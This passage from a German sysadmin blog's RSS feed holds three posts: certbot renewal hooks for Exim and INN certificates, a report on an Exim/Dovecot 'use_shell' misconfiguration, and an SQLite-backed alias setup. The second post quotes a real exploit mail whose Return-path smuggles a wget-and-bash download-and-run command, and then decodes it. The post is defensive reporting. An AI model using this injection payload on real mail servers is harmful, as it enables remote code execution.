&lt;p&gt;Nicht immer ist es aber ohne weiteres möglich, unmittelbar auf die Dateien in &lt;code&gt;/etc/letsencrypt/live/domain.example/&lt;/code&gt; zuzugreifen, die &lt;code&gt;root:root&lt;/code&gt; gehören und aufgrund der Verzeichnisrechte auch nur für &lt;code&gt;root&lt;/code&gt; lesbar sind. Manche Programme (bspw. der Mailserver &lt;em&gt;Exim&lt;/em&gt;) greifen nämlich auf die Zertifikate zu einem Zeitpunkt zu, zu dem sie bereits keine Root-Rechte mehr haben; und es erscheint wenig tunlich, sie in die Gruppe &lt;code&gt;root&lt;/code&gt; aufzunehmen oder gar Zertifikat und Key weltweit lesbar zu machen. Andere Programme wiederum haben ausgesprochen strikte Vorstellungen darüber, welchem Benutzer und/oder welcher Gruppe die Dateien &amp;#8220;gehören&amp;#8221; müssen und wie die Zugriffsrechte auszusehen haben (so z.B. der Newsserver &lt;em&gt;INN&lt;/em&gt;, der erwartet, dass der Key ausschließlich für den User &lt;code&gt;news&lt;/code&gt; lesbar ist). In diesen Fällen wird es m.E. unausweichlich sein, Kopien der Zertifikate und des Keys mit den passenden Rechten anzulegen.&lt;/p&gt;

&lt;h4 id=&quot;-dovecot-&quot;&gt;&lt;em&gt;Dovecot&lt;/em&gt;&lt;/h4&gt;

&lt;p&gt;Der &lt;em&gt;POP3&lt;/em&gt;- und &lt;em&gt;IMAP&lt;/em&gt;-Server &lt;em&gt;Dovecot&lt;/em&gt; greift als &lt;code&gt;root&lt;/code&gt; auf die Zertifikate zu und kann - jedenfalls in seiner in &lt;em&gt;Debian Jessie&lt;/em&gt; enthaltenen Version &lt;em&gt;2.2.13&lt;/em&gt; - die Zertifikatskette (&lt;code&gt;fullchain.pem&lt;/code&gt;) verarbeiten. Es genügt also, Zertifikat und Key einzubinden und die Serverkonfiguration neu einzulesen (&lt;code&gt;service dovecot reload&lt;/code&gt;).&lt;/p&gt;

&lt;h4 id=&quot;-exim-&quot;&gt;&lt;em&gt;Exim&lt;/em&gt;&lt;/h4&gt;

&lt;p&gt;Anders sieht es mit dem &lt;em&gt;SMTP&lt;/em&gt;-Server &lt;em&gt;Exim&lt;/em&gt; aus. Dieser gibt seine Root-Rechte auf, bevor er auf die TLS-Zertifikate zugreift. Immerhin kommt auch er mit &lt;code&gt;fullchain.pem&lt;/code&gt; klar.&lt;/p&gt;

&lt;p&gt;Eine Möglichkeit ist es, Zertifikat und Key in ein passendes Verzeichnis zu kopieren und dann Eigentümer und Rechte (&lt;code&gt;644&lt;/code&gt;!) anzupassen, bspw. so:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;cd /etc/exim4
mkdir certs 
cp /etc/letsencrypt/live/domain.example/fullchain.pem /etc/exim4/certs/
cp /etc/letsencrypt/live/domain.example/privkey.pem /etc/exim4/certs/
service exim4 restart
chown Debian-exim:Debian-exim /etc/exim4/certs/
chown Debian-exim:Debian-exim /etc/exim4/certs/*
chmod 644 /etc/exim4/certs/*
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Ein solches Vorgehen wird dann auch bei jeder Erneuerung der Zertifikate erforderlich (s.u.)!&lt;/p&gt;

&lt;p&gt;Danach genügt es, die Serverkonfiguration neu zu laden (&lt;code&gt;service exim4 reload&lt;/code&gt;) und sich dann zu Testzwecken auf Port 25 zu verbinden und nach dem &lt;code&gt;EHLO&lt;/code&gt; ein &lt;code&gt;STARTTLS&lt;/code&gt; abzusetzen.&lt;/p&gt;

&lt;h4 id=&quot;-inn-&quot;&gt;&lt;em&gt;INN&lt;/em&gt;&lt;/h4&gt;

&lt;p&gt;&lt;em&gt;INN&lt;/em&gt; stellt - jedenfalls in der in &lt;em&gt;Debian Jessie&lt;/em&gt; enthaltenen Version &lt;em&gt;2.5.4&lt;/em&gt; - ganz besondere Ansprüche: jedenfalls der Key muss für den Benutzer &lt;code&gt;news&lt;/code&gt; lesbar sein, und er benötigt &lt;code&gt;cert.pem&lt;/code&gt; und &lt;code&gt;chain.pem&lt;/code&gt; getrennt.&lt;/p&gt;

&lt;p&gt;Umsetzen könnte man das bspw. so:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;cd /etc/news
mkdir certs 
cp /etc/letsencrypt/live/domain.example/cert.pem /etc/news/certs/
cp /etc/letsencrypt/live/domain.example/chain.pem /etc/news/certs/
cp /etc/letsencrypt/live/domain.example/privkey.pem /etc/news/certs/
chown news:news /etc/news/certs/*
chmod 600 /etc/news/certs/*
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Auch hier muss man dieses Vorgehen für eine Erneuerung der Zertifikate im Blick behalten (s.u.).&lt;/p&gt;

&lt;p&gt;Ein Einlesen der &lt;code&gt;inn.conf&lt;/code&gt; später (&lt;code&gt;service inn2 restart&lt;/code&gt;) sollte dann alles funktionieren wie geplant.&lt;/p&gt;

&lt;h3 id=&quot;zertifikat-updates&quot;&gt;Zertifikat-Updates&lt;/h3&gt;

&lt;p&gt;Die nunmehr im Dateisystem verstreuten Zertifikatskopien müssen nach jeder Erneuerung des Zertifikats gleichfalls erneuert werden, damit nicht ein ungültiges Zertifikat ausgeliefert wird. Sinnvollerweise geschieht das ebenso automatisiert wie die Erneuerung des Zertifikats; hilfreich dabei die Möglichkeit, &lt;code&gt;letsencrypt&lt;/code&gt; (bzw. &lt;code&gt;certbot&lt;/code&gt;) mittels &lt;code&gt;--post-hook&lt;/code&gt; nach einem Zertifikatsaustausch ein Script ablaufen zu lassen.&lt;/p&gt;

&lt;h4 id=&quot;-exim-&quot;&gt;&lt;em&gt;Exim&lt;/em&gt;&lt;/h4&gt;

&lt;p&gt;Man könnte sich daher bspw. eine Datei &lt;code&gt;/usr/local/bin/certbot-exim4-renew.sh&lt;/code&gt; mit folgendem Inhalt anlegen:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/bin/dash
cp /etc/letsencrypt/live/domain.example/fullchain.pem /etc/exim4/certs/
cp /etc/letsencrypt/live/domain.example/privkey.pem /etc/exim4/certs/
service exim4 reload
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Dazu passt dann ein &lt;em&gt;Cron&lt;/em&gt;-Eintrag der folgenden Art:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;certbot certonly --quiet -n --webroot -w /var/www/domain.example -d domain.example --keep-until-expiring --post-hook /usr/local/bin/certbot-exim4-renew.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Damit wird versucht, das Zertifikat für diesen Hostnamen (&lt;code&gt;domain.example&lt;/code&gt;) zu erneuern, jedoch nur, wenn es der Erneuerung bedürftig ist.&lt;/p&gt;

&lt;p&gt;Der Aufruf sollte in der &lt;em&gt;Crontab&lt;/em&gt; zeitlich &lt;em&gt;vor&lt;/em&gt; dem allgemeinen Aufruf &lt;code&gt;certbot renew --quiet&lt;/code&gt; erfolgen, damit erst das spezielle Zertifikat aktualisiert (und ggf. umkopiert) wird und danach die übrigen.&lt;/p&gt;

&lt;h4 id=&quot;-inn-&quot;&gt;&lt;em&gt;INN&lt;/em&gt;&lt;/h4&gt;

&lt;p&gt;Für den &lt;em&gt;INN&lt;/em&gt; sähe diese Lösung analog mit einer Datei &lt;code&gt;/usr/local/bin/certbot-inn2-renew.sh&lt;/code&gt; so aus:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/bin/dash
cp /etc/letsencrypt/live/domain.example/cert.pem /etc/news/certs
cp /etc/letsencrypt/live/domain.example/chain.pem /etc/news/certs
cp /etc/letsencrypt/live/domain.example/privkey.pem /etc/news/certs
cd /etc/news/certs
chown news:news *.pem
chmod 600 *.pem
service inn2 reload
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Der &lt;em&gt;Cron&lt;/em&gt;-Eintrag wäre dann entsprechend:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;certbot certonly --quiet -n --webroot -w /var/www/domain.example -d domain.example --keep-until-expiring --post-hook /usr/local/bin/certbot-inn2-renew.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Auch dieser Eintrag muss zeitlich &lt;em&gt;vor&lt;/em&gt; dem allgemeinen Aufruf &lt;code&gt;certbot renew --quiet&lt;/code&gt; liegen.&lt;/p&gt;

&lt;h3 id=&quot;und-ihr-&quot;&gt;Und ihr?&lt;/h3&gt;

&lt;p&gt;So richtig optimal erscheinen mir diese Lösungen noch nicht. Gibt es bessere Ideen? Andere Erfahrungen?&lt;/p&gt;

&lt;p&gt;Nutzt ihr &lt;em&gt;letsencrypt&lt;/em&gt; noch für andere Dienste als die oben genannten?&lt;/p&gt;

&lt;p&gt;An Euren Erfahrungen und Lösungen wäre ich interessiert und freue mich daher über Kommentare, Hinweise und Ergänzungen.&lt;/p&gt;
&lt;img src=&quot;https://ssl-vg03.met.vgwort.de/na/ab58b7fdf4c749689ad4f6dde41d970a&quot; width=&quot;1&quot; height=&quot;1&quot; alt=&quot;&quot;&gt; 
    </content:encoded>

    <pubDate>Tue, 30 Aug 2016 14:30:00 +0000</pubDate>
    <guid isPermaLink="false">https://netz-rettung-recht.de/archives/1943-guid.html</guid>
    <category>anleitung</category>
<category>debian</category>
<category>dovecot</category>
<category>exim</category>
<category>followerpower</category>
<category>inn</category>
<category>jessie</category>
<category>ssl</category>

</item>
<item>
    <title>Vom Advisory zum Exploit binnen eines Tages</title>
    <link>https://netz-rettung-recht.de/archives/1701-Vom-Advisory-zum-Exploit-binnen-eines-Tages.html</link>
            <category>Bits'n'Bytes</category>
    
    <comments>https://netz-rettung-recht.de/archives/1701-Vom-Advisory-zum-Exploit-binnen-eines-Tages.html#comments</comments>
    <wfw:comment>https://netz-rettung-recht.de/wfwcomment.php?cid=1701</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>https://netz-rettung-recht.de/rss.php?version=2.0&amp;type=comments&amp;cid=1701</wfw:commentRss>
    

    <author>nospam@example.com (Thomas Hochstein)</author>
    <content:encoded>
    &lt;p&gt;Am Freitag, dem dritten Mai, wurde ein &lt;a title=&quot;Exim with Dovecot: Typical Misconfiguration Leads to Remote Command Execution&quot; href=&quot;https://www.redteam-pentesting.de/advisories/rt-sa-2013-001&quot;&gt;Warnhinweis&lt;/a&gt; (&lt;em&gt;Advisory&lt;/em&gt;) auf eine weit verbreitete Fehlkonfiguration in der Kombination von &lt;em&gt;&lt;a title=&quot;Exim Internet Mailer&quot; href=&quot;http://www.exim.org/&quot;&gt;Exim&lt;/a&gt; &lt;/em&gt;mit &lt;em&gt;&lt;a title=&quot;Dovecot - secure IMAP server&quot; href=&quot;http://dovecot.org/&quot;&gt;Dovecot&lt;/a&gt; &lt;/em&gt;publiziert: ein offenbar seit 23.10.2009 im Dovecot-Wiki veröffentliches Konfigurationsbeispiel für &lt;em&gt;Exim&lt;/em&gt;, mit dem eingehende E-Mails durch den zu &lt;em&gt;Dovecot &lt;/em&gt;gehörenden LDA &lt;em&gt;deliver &lt;/em&gt;ausgeliefert werden sollen, enthielt auch die Option &amp;quot;&lt;em&gt;use_shell&lt;/em&gt;&amp;quot;, die dazu führt, dass der Aufruf insgesamt zur Ausführung an die Shell weitergegeben wird. Das is potentiell unsicher, wie auch die Exim-Dokumentation &lt;a title=&quot;Exim: The pipe transport - How the command is run&quot; href=&quot;http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_pipe_transport.html#SECThowcommandrun&quot;&gt;erläutert&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt; 
&lt;p&gt;Not running the command under a shell (by default) lessens the security risks
in cases when a command from a user’s filter file is built out of data that was
taken from an incoming message. If a shell is required, it can of course be
explicitly specified as the command to be run. However, there are circumstances
where existing commands (for example, in &lt;em&gt;&lt;span class=&quot;docbook_filename&quot;&gt;.forward&lt;/span&gt; &lt;/em&gt;files) expect to be run
under a shell and cannot easily be modified. To allow for these cases, there is
an option called &lt;span class=&quot;docbook_option&quot;&gt;use_shell&lt;/span&gt;, which changes the way the &lt;span class=&quot;docbook_command&quot;&gt;pipe&lt;/span&gt; transport
works. Instead of breaking up the command line as just described, it expands it
as a single string and passes the result to &lt;em&gt;&lt;span class=&quot;docbook_filename&quot;&gt;/bin/sh&lt;/span&gt;&lt;/em&gt;. The
&lt;span class=&quot;docbook_option&quot;&gt;restrict_to_path&lt;/span&gt; option and the $pipe_addresses facility cannot be used
with &lt;span class=&quot;docbook_option&quot;&gt;use_shell&lt;/span&gt;, and the whole mechanism is inherently less secure.&lt;/p&gt; 
&lt;/blockquote&gt;

&lt;p&gt;Wenn es jemandem gelingt, ausführbaren Code in diesen Aufruf einzuschleusen, kann er fremden Code mit den Rechten von Exim ausführen, die im Moment der Auslieferung von Mail mit dem LDA &lt;em&gt;deliver&lt;/em&gt; bestenfalls Zugriff auf alle Mailboxen ermöglichen und bei leichtsinniger Konfiguration - die im Dovecot-Wiki als eine Konfigurationsmöglichkeit ausdrücklich genannt wird! - schlimmstenfalls sogar &lt;em&gt;root&lt;/em&gt; sind. Und dieses Einschleusen ist ausgesprochen einfach, enthält der Aufruf von &lt;em&gt;deliver&lt;/em&gt; doch u.a. den Absender der E-Mail, den sog. &lt;em&gt;Envelope-From&lt;/em&gt; (oder auch &lt;em&gt;Return-Path&lt;/em&gt;), bspw. so:
&lt;code&gt;command = /usr/local/libexec/dovecot/dovecot-lda -d $local_part@$domain -f $sender_address&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;$sender_address&lt;/em&gt; ist hier der problematische Parameter, denn diesen Parameter kann der Absender der E-Mail frei setzen. Durch die Option &lt;em&gt;use_shell&lt;/em&gt; wird der obige Aufruf nach Ersatz der Variablen ohne jede Modifikation komplett an die Shell übergeben und ggf. entsprechender Code ausgeführt.&lt;/p&gt;

&lt;p&gt;Am 02.05.2013 wurde das Beispiel im Wiki für &lt;a href=&quot;http://wiki1.dovecot.org/LDA/Exim?action=diff&amp;amp;rev2=17&amp;amp;rev1=16&quot; title=&quot;Änderung am 02.05.2013&quot;&gt;Dovecot 1.x&lt;/a&gt; und auch in der Dokumentation für &lt;a href=&quot;http://wiki2.dovecot.org/LDA/Exim?action=diff&amp;amp;rev2=22&amp;amp;rev1=21&quot; title=&quot;Änderung am 02.05.2013&quot;&gt;Dovecot 2.x&lt;/a&gt; berichtigt, am 03.05.2013 wurde das Advisoy veröffentlicht.&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Und schon am Abend des Folgetages flog mir auf einem meiner Server folgende - ansonsten notwendige Header und vor allen auch einen Inhalt nicht enthaltende - E-Mail zu, die das Beispiel für einen Exploit aus dem Advisory abgewandelt übernommen hat:&lt;br /&gt;&lt;/p&gt;

&lt;blockquote&gt; 
&lt;p&gt;Return-path: &amp;lt;red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl&amp;#8220;bash${IFS}/tmp/a.pl`team@example.com&amp;gt;&lt;br /&gt;Envelope-to: postmaster@greenmeadow.szaf.org&lt;br /&gt;Delivery-date: Sat, 04 May 2013&amp;#160;21:57:19 +0200&lt;br /&gt;Received: from [178.218.211.118] (helo=abcde.com)&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; by greenmeadow.szaf.org with esmtp (Exim 4.72)&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; (envelope-from &amp;lt;red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl&amp;#8220;bash${IFS}/tmp/a.pl`team@example.com&amp;gt;)&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; id 1UYia4-000387-Es&lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; for postmaster@greenmeadow.szaf.org; Sat, 04 May 2013&amp;#160;21:57:19 +0200&lt;br /&gt;Subject: test &lt;br /&gt;&lt;/p&gt; 
&lt;/blockquote&gt;

&lt;p&gt;Die oben gezeigte problematische Konfiguration würde dann dazu führen, dass bei der Auslieferung der Mail die beiden folgenden Befehle mit den Rechten des Mailservers ausgeführt würden:&lt;/p&gt;

&lt;blockquote&gt; 
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;wget 178.218.211.118/b -O /tmp/a.pl&lt;br /&gt;bash /tmp/a.pl&lt;/font&gt; &lt;br /&gt;&lt;/p&gt; 
&lt;/blockquote&gt;

&lt;p&gt;Es würde also die Datei &lt;em&gt;b&lt;/em&gt; von der Maschine heruntergeladen und in der Datei &lt;em&gt;a.pl&lt;/em&gt; im Verzeichnis &lt;em&gt;/tmp&lt;/em&gt; gespeichert und dann ausgeführt.&lt;br /&gt; &lt;/p&gt;

&lt;p&gt;Glücklicherweise verwende ich zwar sowohl Exim als auch Dovecot, aber in einer anderen Konfiguration, so dass dieser Versuch eines Exploits kein Problem darstellte, aber man merkt einmal wieder, wie schnell nach der Veröffentlichung von Advisories man von solchen Versuchen, bestehende Programm- oder Konfigurationsfehler auszunutzen, betroffen wird.&lt;/p&gt;

&lt;p&gt;(Als ich mich damit näher beschäftigt habe, war die o.g. Datei übrigens bereits nicht mehr aufrufbar.)&lt;br /&gt;&lt;/p&gt;
&lt;img src=&quot;https://ssl-vg03.met.vgwort.de/na/7e0f5a1a53f64e8aa05bf7be6a99b9ef&quot; width=&quot;1&quot; height=&quot;1&quot; alt=&quot;&quot;&gt; 
    </content:encoded>

    <pubDate>Sun, 05 May 2013 09:29:00 +0000</pubDate>
    <guid isPermaLink="false">https://netz-rettung-recht.de/archives/1701-guid.html</guid>
    <category>dovecot</category>
<category>e-mail</category>
<category>exim</category>
<category>security</category>

</item>
<item>
    <title>Personalisierte Mailadressen</title>
    <link>https://netz-rettung-recht.de/archives/1475-Personalisierte-Mailadressen.html</link>
            <category>Bits'n'Bytes</category>
    
    <comments>https://netz-rettung-recht.de/archives/1475-Personalisierte-Mailadressen.html#comments</comments>
    <wfw:comment>https://netz-rettung-recht.de/wfwcomment.php?cid=1475</wfw:comment>

    <slash:comments>1</slash:comments>
    <wfw:commentRss>https://netz-rettung-recht.de/rss.php?version=2.0&amp;type=comments&amp;cid=1475</wfw:commentRss>
    

    <author>nospam@example.com (Thomas Hochstein)</author>
    <content:encoded>
    &lt;p&gt;Schon seit vielen Jahren verwende ich eine Subdomain zur Vergabe von personalisierten E-Mail-Adressen, die ich dann für Zwecke verwenden kann, bei denen ich meine normale E-Mail-Adresse nicht preisgeben möchte, bspw. das Abonnieren von Newslettern, an deren Seriösität ich Zweifel habe, für Webshops etc. pp. Das hat den Vorteil, daß sich über diese personalisierten E-Mail-Adressen nachvollziehen läßt, aus welcher Quelle bspw. Spammer ihre Adressen bezogen haben, und, viel wichtiger, daß sich diese Adressen rückstandslos entsorgen lassen, wenn sie missbraucht werden. Insgesamt eine gute Idee; die Frage ist immer nur, wie man sich diese Adressen erzeugt.&lt;/p&gt;

&lt;p&gt;Meine erste Lösung war ein Catch-All, was aber den Zweck der Übung letztlich konterkarierte, weil man auf diese Weise eine unbegrenzte Anzahl valider E-Mail-Adressen erzeugt und Spam potentiell potenziert. Zwar kann man bestimmte Adressen selektiv deaktivieren, bspw. über eine Aliases-Datei, in der sie explizit geerdet werden und ein Catch-All als Fallback für nicht explizit definierte Adressen verwendet wird, aber Spammer permutieren Adressen gerne; wenn man &lt;em&gt;abashop@domain.example&lt;/em&gt; deaktiviert, bekommt man stattdessen vielleicht Mail an &lt;em&gt;abasho@domain.example&lt;/em&gt; und an &lt;em&gt;abash@domain.example&lt;/em&gt; und an &amp;#8230; So hat sich das nicht bewährt.&lt;/p&gt;

&lt;p&gt;Also habe ich die Adressen stattdessen in einer Aliases-Datei explizit definiert (und für eine Übergangszeit doch einen Catch-All als Fallback verwendet, für den Fall, daß ich eine bereits verwendete Adresse vergessen hatte &amp;#8230;). Das tat etliche Jahre seinen Zweck, hatte aber den Nachteil, daß ich mich für Änderungen immer erst auf dem entsprechenden Host einloggen und die Datei ändern mußte. Unbequem und, wenn man gerade unterwegs ist und nur Webzugriff hat, erst gar nicht möglich. Also habe ich reichlich oft doch meine Hauptadresse für diverse Anmeldungen verwendet; diesen Nachteil gab es bei der Verwendung des Catch-All nicht.&lt;/p&gt;

&lt;p&gt;Die Lösung wäre - so war mir ebenfalls seit langer Zeit klar - die Verwendung eines bequemen, nach Möglichkeit webbasierten Interfaces zur Anlage neuer solcher Adressen, damit der innere Schweinehund nicht mehr dazwischenkommen kann. Und diese Lösung habe ich jetzt endlich umgesetzt. Zumindest provisorisch, aber das wird vermutlich wieder so ein langlebiges Provisorium werden &amp;#8230; &lt;img src=&quot;https://netz-rettung-recht.de/plugins/serendipity_event_emoticate/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Der richtige Weg ist eigentlich ganz einfach: eine Weboberfläche, mit der man Mailadressen anlegen, ändern und löschen kann, dazu eine Datenbank, in der sie gespeichert werden, und eine Änderung in der Exim-Konfiguration, damit der Mailserver auf diese Datenbank zugreift. Bereits Ende 2007/Anfang 2008 habe ich das für das &amp;quot;Szafshosting&amp;quot; gelöst; auf diese Lösung konnte ich jetzt für mich aufsetzen. Allerdings habe ich mich - aus mir mittlerweile selbst unklaren Gründen - entschlossen, als Datenbank diesmal nicht mySQL, sondern SQLite zu verwenden, was zu weniger amüsanten Abstechern zu den verschiedenen SQLite-Versionen führte: mit der einen kann Exim nicht umgehen (dort wird SQLite 3.x benötigt), die andere wird von PHP nicht nativ unterstützt (da geht es nämlich um SQLite 2.x). &lt;em&gt;*tiefseufz*&lt;/em&gt; Die Lösung war dann, den Zugriff in PHP noch einmal neu mittels &lt;em&gt;PHP Data Objects (PDO)&lt;/em&gt; zu implementieren; auf diese Weise wird nämlich auch SQLite 3.x unterstützt.&lt;/p&gt;

&lt;p&gt;Die Datenbank für die Mailadressen sieht recht einfach aus:&lt;/p&gt;

&lt;pre&gt;
CREATE TABLE addresses (keyid INTEGER PRIMARY KEY ASC, domain TEXT, mail TEXT, comment TEXT);&lt;/pre&gt;

&lt;p&gt;Dort werden dann Mailadressen - auch unter verschiedenen Domains - abgelegt. Exim wird dann mitgeteilt, in welchen Domains Adressen via SQLite vergeben werden, und für diese Adressen ein entsprechender Router angelegt:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sqlite_aliases:
  driver = redirect
  domains = /etc/exim/domains-sqlite
  require_files = /etc/exim/sqlite-address.db
  data = ${lookup sqlite {/etc/exim/sqlite-address.db \
         select target from addresses \
         where mail=&#039;${quote_sqlite:$local_part}&#039; \
         and domain=&#039;${quote_sqlite:$domain}&#039;;}}
  user = exim
  check_ancestor
  file_transport = address_file
  pipe_transport = address_pipe
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Wenn man einmal dabei ist, kann man in ähnlicher Weise auch &amp;quot;virtuelle Mailboxen&amp;quot; als Maildir im Home des jeweiligen Users unterstützen. Die zugehörige SQLite-Datenbank sieht so aus:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;CREATE TABLE mailuser (keyid INTEGER PRIMARY KEY ASC, username TEXT, password TEXT, uid TEXT);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Der zuständige Router in Exim für diese &amp;quot;virtuellen Mailboxen&amp;quot;, implementiert als lokal zustellbare Adresse, sieht folgendermaßen aus: &lt;/p&gt;

&lt;pre&gt;&lt;code&gt; sqlite_user:
   driver = accept
   domains = +hostname
   local_parts = ${lookup sqlite {/etc/exim/sqlite-mailboxes.db \
          select username from mailuser \
          where username=&#039;${quote_sqlite:$local_part}&#039; }}
   address_data = ${lookup sqlite {/etc/exim/sqlite-mailboxes.db \
          select uid from mailuser \
          where username=&#039;${quote_sqlite:$local_part}&#039; }}
   transport = sqlite_delivery
   cannot_route_message = Unknown user
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Und so sieht der zugehörige Transport aus:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;sqlite_delivery:
  driver = appendfile
  maildir_format = true
  directory = /home/$address_data/mailstore/$local_part
  delivery_date_add
  envelope_to_add
  return_path_add
  user = $address_data
  group = users
  mode = 0660
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Abfragen muß man die Mailboxen natürlich auch; als POP3-/IMAP-Server verwende ich Dovecot. Dort wird folgendes in der Konfiguration ergänzt:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt; passdb sql {
   # Path for SQL configuration file, see /etc/dovecot/dovecot-sql.conf for example
   args = /etc/dovecot/sqlite.conf
 }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Und die Datei /etc/dovecot/sqlite.conf sieht so aus (ohne Zeilenumbrüche):&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;driver = sqlite
connect = /etc/exim/sqlite-mailboxes.db
default_pass_scheme = PLAIN
password_query = SELECT username as user, password, &#039;/home/&#039; || uid || &#039;/mailstore/&#039; || username AS userdb_home,&#039;maildir:/home/&#039; || uid || &#039;/mailstore/&#039; || username AS userdb_mail, uid AS userdb_uid, 100 AS userdb_gid FROM mailuser WHERE username = &#039;%u&#039;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Und siehe da: es tut. &lt;img src=&quot;https://netz-rettung-recht.de/plugins/serendipity_event_emoticate/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt;
&lt;img src=&quot;https://ssl-vg03.met.vgwort.de/na/2b5c5674db064b96aee560f19e2beecb&quot; width=&quot;1&quot; height=&quot;1&quot; alt=&quot;&quot;&gt; 
    </content:encoded>

    <pubDate>Sun, 08 Nov 2009 21:04:00 +0000</pubDate>
    <guid isPermaLink="false">https://netz-rettung-recht.de/archives/1475-guid.html</guid>
    <category>dovecot</category>
<category>e-mail</category>
<category>exim</category>

</item>

</channel>
</rss>
